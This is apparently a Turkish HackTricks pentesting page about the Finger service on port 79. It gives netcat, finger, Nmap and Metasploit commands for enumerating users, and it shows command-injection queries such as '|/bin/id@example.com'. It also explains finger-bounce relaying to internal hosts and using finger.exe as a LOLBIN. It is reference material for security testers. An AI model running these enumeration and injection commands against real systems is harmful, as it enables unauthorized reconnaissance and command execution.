79 - Pentesting Finger
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
The Finger program/service bilgisayar kullanıcıları hakkında bilgi almak için kullanılır. Genellikle sağlanan bilgiler arasında kullanıcının giriş adı, tam adı ve bazı durumlarda ek ayrıntılar bulunur. Bu ek ayrıntılar ofis konumu ve telefon numarası (varsa), kullanıcının giriş yaptığı zaman, boşta kalma süresi (idle time), kullanıcının en son e-postayı okuduğu zaman ve kullanıcının .plan ve .project dosyalarının içeriği gibi bilgiler olabilir.
Pentesting açısından, Finger hâlâ ilgi çekicidir çünkü protokol son derece küçüktür, insan tarafından okunabilir ve genellikle legacy parsing logic ile uygulanır. Bir daemon şu bilgileri açığa çıkarabilir:
- currently logged-in users
- full names / GECOS data
- home directories, shells, last login times, and TTYs
.plan/.projectcontents- relay behaviour to query a second host through the first one
Varsayılan port: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Temel bağlantı
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
Protokol ASCII over TCP/79 olup, genellikle CRLF ile sonlandırılır ve yanıtın ardından sunucu TCP bağlantısını kapatır. Pratikte mevcut kullanıcı listesini almak için genellikle boş bir sorgu (\r\n) yeterlidir; bu, Nmap’in varsayılan finger NSE scriptinin de yaptığıdır.
Kullanıcı enumerasyonu
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Alternatif olarak pentestmonkey sitesinden finger-user-enum’i kullanabilirsiniz, bazı örnekler:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Finger enumeration ile ilgili önemli nüans, daemon’lar arasında katı bir yanıt formatı yok olmasıdır. finger-user-enum gibi araçlar Solaris-style hizmetlere karşı iyi çalışır çünkü geçerli ve geçersiz kullanıcılar farklı metin düzenleri üretir, ancak hedef daemon alışılmadık ise pozitif ve negatif yanıtları manuel olarak karşılaştırmanız ve regexes’i uyarlamanız gerekebilir.
Daemon varsayılan Solaris/BSD gibi davranmadığında kullanışlı probes:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap ile default scripts kullanarak bir script çalıştırma
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Nmap’s finger NSE script güvenlidir ve mevcut kullanıcı listesini almak için basitçe bir null query gönderir. Eğer permissive daemons’a karşı daha geniş username tahmini yapmak istiyorsanız, yaklaşımı özel wordlists ile genişletmeyi ya da tek bir istekte birden fazla muhtemel hesap adı gönderen ve username/GECOS eşleşmelerini arayan fat-finger.nse gibi projeleri kullanmayı düşünebilirsiniz.
Metasploit, Nmap’ten daha fazla hile kullanır
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Komut yürütme
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288, Finger sorgusuna yanıt olarak kullanıcı kontrollü bir program çalıştırılmasına açıkça izin verir; klasik |/bin/... suistimali buradan kaynaklanır. Bu bugün nadirdir, ancak özel veya eski bir daemon bulursanız, dikkatlice test edin:
- kullanıcı adı işleme sırasında shell meta karakterleri
- plan/proje hook’larında
|programçalıştırılması - kullanıcı adını bir shell betiğine veya CGI’ya ileten backend wrapper’ları
Ayrıca Windows’taki client-side suistimal yolunu unutmayın: finger.exe imzalı bir LOLBIN’dir ve uzak bir Finger sunucusundan TCP/79 üzerinden rastgele metin alabilir, sonra bu çıktıyı başka bir sürece yönlendirebilir. Bu teknik post-exploitation için service enumeration’dan daha alakalıdır, bu yüzden shell taşıma fikri için the Linux reverse-shell page sayfasına bakın ve saldırgan tradecraft’ını taklit ederken bunu aklınızda tutun.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Bu sadece bir uygulama tuhaflığı değil: RFC 1288 özyinelemeli @hostname yönlendirmesini ({Q2} sorguları) tanımlar. Eğer daemon relaying’i destekliyorsa, ara sunucu sizin için ikinci Finger bağlantısını açar ve yanıtı orijinal soket üzerinden geri iletir. Bu şu anlama gelir:
- hostunuz doğrudan son hedefe bağlanmayabilir
- relay, açık bir Finger servisinden enumerate internal users yapmak için kullanılabilir
finger-user-enumbunu yerel olarak-r <relay>ile destekler
Örnek:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Relaying işe yarıyorsa, bunu bir internal recon primitive olarak kullanın ve relayed output’u public daemon’ın doğrudan çıktısıyla karşılaştırın. Farklı formatlama veya filtreleme genellikle relay path’in ayrı bir backend veya wrapper tarafından mı işlendiğini ortaya çıkarır.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


